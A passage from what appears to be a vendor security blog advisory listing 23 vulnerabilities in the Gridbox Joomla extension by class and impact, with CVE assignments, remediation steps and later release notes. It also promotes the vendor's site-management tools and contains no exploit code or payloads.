  &lt;p&gt;This is exactly what our &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;Rogue Admin check&lt;/a&gt; is built for. It sweeps every connected Joomla site for accounts sitting in &lt;strong&gt;any&lt;/strong&gt; administrator group, not just Super Users, so the sign-ups that quietly escalated show up next to the ones that failed and stayed in the registration group. You can review and delete them across all your sites from one screen.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/hacked/rogueadmins&quot;&gt;Open the Rogue Admin check&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Active exploitation changes the maths for everyone running Gridbox. The fix being out does not make you safe, applying it does. Assume attackers have already tried this on your site, update to 2.20.2, and check whether they got in before you did.&lt;/p&gt;
&lt;h2&gt;Why this is the worst we have seen&lt;/h2&gt;
&lt;p&gt;We audit Joomla extensions constantly, and we have written up a lot of serious flaws this year alone. Most extensions with a bad bug have one bad bug. What sets Gridbox apart is not any single finding, bad as the pre-auth RCE is. It is that nearly every category of critical web vulnerability is present in the same component at once, that more than one of them needs no authentication at all, that the vendor&apos;s own fix left several live, and that it is now being exploited before a complete fix is public.&lt;/p&gt;
&lt;p&gt;In two decades of this work, that combination is unique in my experience. I do not say that for effect. I say it because if you run Gridbox, you should act as if your site is a target today.&lt;/p&gt;
&lt;h2&gt;What you should do right now&lt;/h2&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;Treat every Gridbox site as at risk now&lt;/p&gt;
    &lt;p&gt;Several of these flaws are being actively exploited and need no login. There is no configuration or firewall rule that makes an unauthenticated code-execution request safe.&lt;/p&gt;
    &lt;p&gt;Update every Gridbox site to 2.20.2 now, and check any affected site for compromise.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update Gridbox to 2.20.2&lt;/strong&gt; now. Joomla&apos;s Extensions updater will offer it, or download it from your Balbooa account. Balbooa&apos;s own notes are on their &lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-2-security-release&quot;&gt;Gridbox security release page&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first&lt;/strong&gt;, as with any extension update on a production site. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; so you have a clean point to return to.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check for compromise now&lt;/strong&gt;, on any site that has been running Gridbox. Look for administrator accounts you did not create, and use our &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;Rogue Admin check&lt;/a&gt; to find them in any group across every connected site at once. The pre-auth RCE writes a PHP shell into a web-reachable folder, which is exactly what our &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;Suspect Content tool&lt;/a&gt; is built to surface: it matches a file&apos;s contents against more than 1,500 patterns taken from real hacks, not just known-bad hashes. Our guides to &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla site&lt;/a&gt; walk through the whole triage.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rotate credentials&lt;/strong&gt; and treat the Joomla secret as exposed on any busy site that has been reachable while running an affected version. Anyone who got in will have left themselves a way back, so do not assume a single clean file scan means they are gone, &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;check every crontab, not just yours&lt;/a&gt;, and watch for reinfection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Consider disabling Gridbox&lt;/strong&gt; on any high-value site you cannot patch immediately, if the design can tolerate it, until the fixed release is installed.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;How do I find every Gridbox site I manage?&lt;/h2&gt;
&lt;p&gt;The awkward question after any extension flaw is which of your sites actually run the thing. Past about ten sites, logging into each Joomla admin to read the extensions list stops being realistic, which is exactly how old versions survive.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. Search for Gridbox once and get back every connected site running it, the version each one is on, and whether an update is available. Across the Joomla sites we manage, &lt;strong&gt;several hundred&lt;/strong&gt; run Gridbox, which is a lot of sites to reach one at a time while a flaw is being exploited.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every Gridbox install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Gridbox across every connected Joomla site and find anything on an affected version. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;We have added the affected range, every version below 2.20.2, to our vulnerability database, so every connected site still on a vulnerable version of Gridbox is flagged automatically, and the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; pushes the update to all of them from one screen.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another one. Joomla runs on thousands of third-party extensions, and the ones that accept anonymous input keep producing findings like this. The hard part was never the update. It is knowing a fix exists at all, then knowing which of your sites are affected and getting to them first, before someone else does.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla extension flaw breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;The 23 vulnerabilities in full&lt;/h2&gt;
&lt;p&gt;Here is the complete set, described by class and impact rather than by exploit detail. Thirteen of these were proved live against a test install; the rest were read in the source during the audit. &quot;Access required&quot; is what an attacker needs before they can use it, and &quot;None (anonymous)&quot; means no account and no login at all.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Class&lt;/th&gt;
&lt;th&gt;Access required&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;File upload written into a web-reachable folder, in one request&lt;/td&gt;
&lt;td&gt;Remote code execution&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;SQL injection that returns every user&apos;s password hash in the response&lt;/td&gt;
&lt;td&gt;SQL injection&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Password reset of any account&lt;/td&gt;
&lt;td&gt;Account takeover&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Login as any user, including an administrator&lt;/td&gt;
&lt;td&gt;Authentication bypass&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;File upload with no extension check&lt;/td&gt;
&lt;td&gt;Remote code execution&lt;/td&gt;
&lt;td&gt;Author&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Arbitrary file write (the vendor&apos;s earlier fix was incomplete)&lt;/td&gt;
&lt;td&gt;Remote code execution&lt;/td&gt;
&lt;td&gt;Editor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Administrator password hash exposed through a client-readable cookie&lt;/td&gt;
&lt;td&gt;Credential disclosure&lt;/td&gt;
&lt;td&gt;Any XSS or log access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Recursive directory deletion&lt;/td&gt;
&lt;td&gt;Destructive file operation&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Arbitrary file read that escapes the web root&lt;/td&gt;
&lt;td&gt;Information disclosure&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;A second unauthenticated SQL injection&lt;/td&gt;
&lt;td&gt;SQL injection&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;Forging ownership of other users&apos; comments and reviews&lt;/td&gt;
&lt;td&gt;Data tampering&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;Full server filesystem enumeration&lt;/td&gt;
&lt;td&gt;Information disclosure&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;Path and exception information disclosure&lt;/td&gt;
&lt;td&gt;Information disclosure&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;Five further SQL injection points&lt;/td&gt;
&lt;td&gt;SQL injection&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;Arbitrary font and file upload&lt;/td&gt;
&lt;td&gt;Remote code execution&lt;/td&gt;
&lt;td&gt;Editor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;Arbitrary extension installation&lt;/td&gt;
&lt;td&gt;Remote code execution&lt;/td&gt;
&lt;td&gt;Backend user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;Arbitrary file read and delete&lt;/td&gt;
&lt;td&gt;Information disclosure / destructive&lt;/td&gt;
&lt;td&gt;Backend user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;Forgeable payment signature with no shared secret required&lt;/td&gt;
&lt;td&gt;Payment bypass&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;Payment transaction not bound to the order&lt;/td&gt;
&lt;td&gt;Payment bypass&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;TLS certificate verification disabled on gateway calls&lt;/td&gt;
&lt;td&gt;Transport security&lt;/td&gt;
&lt;td&gt;Network position&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;Stored cross-site scripting via a comment avatar&lt;/td&gt;
&lt;td&gt;Cross-site scripting&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;No CSRF protection anywhere in the administrator area&lt;/td&gt;
&lt;td&gt;Cross-site request forgery&lt;/td&gt;
&lt;td&gt;Tricking a logged-in admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;Registration that puts the visitor in whatever group they ask for, including an administrator group&lt;/td&gt;
&lt;td&gt;Privilege escalation&lt;/td&gt;
&lt;td&gt;None (anonymous)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Number 23 is not from the audit. It surfaced alongside the active exploitation: the sign-up form hands out whatever group a visitor asks for, &lt;strong&gt;administrator included&lt;/strong&gt;. That one, the arbitrary file read (9), and the arbitrary file write (6) are the three the Joomla Security Strike Team reports are being exploited right now.&lt;/p&gt;
&lt;h2&gt;The CVE assignments&lt;/h2&gt;
&lt;p&gt;The Joomla CNA has now assigned CVE IDs for this set. It has grouped them by shared root cause rather than issuing one per finding, on the reasoning that most of these are the same systemic gap repeating: no access control on the task, no CSRF token, no check on what the request is asking the component to do. So the CVE count is lower than the count of vulnerabilities, and one ID can cover several rows of the table above.&lt;/p&gt;
&lt;p&gt;All eleven records have now published. Every one lists the affected range as &lt;strong&gt;1.0.0 to 2.20.1&lt;/strong&gt;, which is every Gridbox release there has ever been up to the fix, and four carry the exploit maturity &lt;strong&gt;Attacked&lt;/strong&gt; with an urgency of Red, the CVE record&apos;s own way of saying this is being used against real sites rather than sitting as a theoretical risk. That is independent corroboration of what we were seeing in the logs.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;What the record covers&lt;/th&gt;
&lt;th&gt;CVSS&lt;/th&gt;
&lt;th&gt;CWE&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65884&quot;&gt;CVE-2026-65884&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Registration accepts the user&apos;s own group IDs, so an anonymous visitor can sign up with administrator permissions. Number 23 above, the one being exploited in the wild&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;10.0 Critical&lt;/strong&gt; (4.0), Attacked&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/284.html&quot;&gt;CWE-284&lt;/a&gt; Improper Access Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65887&quot;&gt;CVE-2026-65887&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The password reset method resets any account&apos;s password and lets the attacker log in as that user, Super Users excepted. Number 3 above&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;10.0 Critical&lt;/strong&gt; (4.0), Attacked&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/284.html&quot;&gt;CWE-284&lt;/a&gt; Improper Access Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65888&quot;&gt;CVE-2026-65888&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The social login method logs the caller in as any user on the site. Number 4 above&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;10.0 Critical&lt;/strong&gt; (4.0), Attacked&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/284.html&quot;&gt;CWE-284&lt;/a&gt; Improper Access Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65885&quot;&gt;CVE-2026-65885&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Authenticated arbitrary file upload. The record notes it becomes remote code execution when chained with CVE-2026-65884, because the account it needs is one the attacker can create for themselves&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9.4 Critical&lt;/strong&gt; (4.0), Attacked&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt; Unrestricted Upload of File with Dangerous Type&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65886&quot;&gt;CVE-2026-65886&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The photo viewer reads arbitrary files with no authentication. Number 9 above&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9.2 Critical&lt;/strong&gt; (4.0)&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;CWE-22&lt;/a&gt; Path Traversal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65889&quot;&gt;CVE-2026-65889&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;An unauthenticated method recursively deletes directories. Number 8 above&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9.2 Critical&lt;/strong&gt; (4.0)&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;CWE-22&lt;/a&gt; Path Traversal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65890&quot;&gt;CVE-2026-65890&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Multiple unauthenticated SQL injection vectors. Numbers 2, 10 and 14 above&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9.2 Critical&lt;/strong&gt; (4.0)&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89&lt;/a&gt; SQL Injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65947&quot;&gt;CVE-2026-65947&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Various CSRF vectors in the administrator interface. Number 22 above&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;7.3 High&lt;/strong&gt; (3.1)&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/352.html&quot;&gt;CWE-352&lt;/a&gt; Cross-Site Request Forgery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66490&quot;&gt;CVE-2026-66490&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Stored cross-site scripting via a comment avatar. Number 21 above&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;6.1 Medium&lt;/strong&gt; (3.1)&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79&lt;/a&gt; Cross-site Scripting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66488&quot;&gt;CVE-2026-66488&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Payment bypass. Numbers 18 and 19 above&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;5.3 Medium&lt;/strong&gt; (3.1)&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/285.html&quot;&gt;CWE-285&lt;/a&gt; Improper Authorization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66489&quot;&gt;CVE-2026-66489&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Various unauthenticated file system disclosure. Numbers 12 and 13 above&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;5.3 Medium&lt;/strong&gt; (3.1)&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/200.html&quot;&gt;CWE-200&lt;/a&gt; Information Exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Two caveats on that table. The pointers back to the numbered list are &lt;strong&gt;our reading&lt;/strong&gt; of each record&apos;s wording rather than the CNA&apos;s: the IDs were grouped by root cause and no official mapping was published, so one ID can cover several rows. And the seven Critical records are scored on &lt;strong&gt;CVSS 4.0&lt;/strong&gt; while the other four use &lt;strong&gt;CVSS 3.1&lt;/strong&gt;, so that column is not directly comparable down its whole length.&lt;/p&gt;
&lt;p&gt;No published record separately describes the &lt;strong&gt;unauthenticated&lt;/strong&gt; file upload at number 1, the finding we scored 10.0 ourselves. CVE-2026-65885 covers file upload but says authenticated. Given the grouping, number 1 may sit inside 65885; the records do not say either way.&lt;/p&gt;
&lt;h2&gt;Since publication: two more Gridbox releases&lt;/h2&gt;
&lt;p&gt;Balbooa has shipped twice more since 2.20.2, and we were involved in neither.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.20.2.2&lt;/strong&gt; (3 August 2026) turns Store customer registration off by default, after bots found the registration endpoint and created spam accounts on sites that were not using the Store at all. Balbooa&apos;s note states explicitly that it &quot;does not address a security vulnerability&quot;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.20.2.3&lt;/strong&gt; (10 August 2026) is titled &quot;Bug Fixes and Security Hardening&quot; and lists four areas: authorization, request handling and access controls in the media manager; path validation for internal file and directory operations; password recovery flows and token validation; and unspecified additional safeguards in internal components. There is no CVE, no severity, no affected version range, and no statement of whether any of it can be reached without a login.&lt;/p&gt;
&lt;p&gt;We did not find or report these and we have not audited 2.20.2.3, so we cannot tell you how serious they are. Three of the four areas cover the same ground as CVE-2026-65885, CVE-2026-66489 and CVE-2026-65887, all recorded as fixed back in 2.20.2. That may be ordinary hardening on code that had just been rewritten at speed, or it may mean the July fixes needed more work, &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/&quot;&gt;as happened with PageBuilder CK&lt;/a&gt;. Balbooa has not said, so treat it as unknown rather than as a new disclosure.&lt;/p&gt;
&lt;p&gt;Update to &lt;strong&gt;2.20.2.3&lt;/strong&gt;. Anything below 2.20.2 is still exposed to the actively exploited set above, and that remains the urgent one.&lt;/p&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;10.0&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;The Joomla CNA&apos;s score for CVE-2026-65884, and our own for the pre-auth RCE&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;The published CVE record for the registration privilege escalation is scored 10.0 with the exploit maturity set to Attacked. We independently scored the worst of the twenty-three, an unauthenticated arbitrary file upload, at the same 10.0: exploitable over the internet in a single request, with no account and no user interaction, yielding remote code execution. Several other findings need no login either, and the Joomla Security Strike Team reports at least three are being actively exploited.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Single request&lt;/span&gt;
        &lt;span&gt;Remote code execution&lt;/span&gt;
        &lt;span&gt;Actively exploited&lt;/span&gt;
        &lt;span&gt;No firewall mitigation&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Extension&lt;/td&gt;
&lt;td&gt;Gridbox for Joomla (&lt;code&gt;com_gridbox&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;Balbooa (&lt;a href=&quot;https://www.balbooa.com/&quot;&gt;balbooa.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Findings&lt;/td&gt;
&lt;td&gt;23: 22 from the audit, plus a 23rd privilege escalation surfaced by the active exploitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Headline type&lt;/td&gt;
&lt;td&gt;Unauthenticated file upload leading to remote code execution (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;), alongside SQL injection (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89&lt;/a&gt;) and authentication bypass (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/287.html&quot;&gt;CWE-287&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;Joomla CNA scores range from 10.0 (Critical) down to 5.3 (Medium). Three records sit at 10.0: &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65884&quot;&gt;CVE-2026-65884&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65887&quot;&gt;CVE-2026-65887&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65888&quot;&gt;CVE-2026-65888&lt;/a&gt;. The seven Critical records use CVSS 4.0, the other four CVSS 3.1. We separately scored the headline pre-auth RCE at 10.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;Eleven IDs assigned by the Joomla CNA and grouped by shared root cause, all now published: CVE-2026-65884 to CVE-2026-65890, CVE-2026-65947, and CVE-2026-66488 to CVE-2026-66490. The earlier authentication bypass is &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61425&quot;&gt;CVE-2026-61425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Unauthenticated remote code execution, administrator takeover, and disclosure of every user&apos;s password hash&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Active exploitation&lt;/td&gt;
&lt;td&gt;Observed by mySites.guru in server access logs and on compromised sites, reported by the &lt;a href=&quot;https://developer.joomla.org/security.html&quot;&gt;Joomla Security Strike Team&lt;/a&gt; on 29 July 2026 (at least three issues), and recorded in four of the eleven CVE records as exploit maturity Attacked with an urgency of Red&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Audited in&lt;/td&gt;
&lt;td&gt;Gridbox 2.20.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;Every version below 2.20.2. The CVE records state the range as 1.0.0 to 2.20.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;Gridbox 2.20.2, see Balbooa&apos;s &lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-2-security-release&quot;&gt;security release announcement&lt;/a&gt;. Balbooa has since shipped 2.20.2.2 and &lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-2-3-bug-fixes-and-security-hardening&quot;&gt;2.20.2.3&lt;/a&gt;, which is the current version to be on&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru. The published CVE records credit Phil Taylor and Pascal Lohmann&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-2-security-release&quot;&gt;Balbooa&apos;s Gridbox 2.20.2 security release&lt;/a&gt; - the vendor&apos;s own advisory and the fixed download.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-2-3-bug-fixes-and-security-hardening&quot;&gt;Balbooa&apos;s Gridbox 2.20.2.3 release&lt;/a&gt; - the later hardening release, and the version to be on now.&lt;/li&gt;
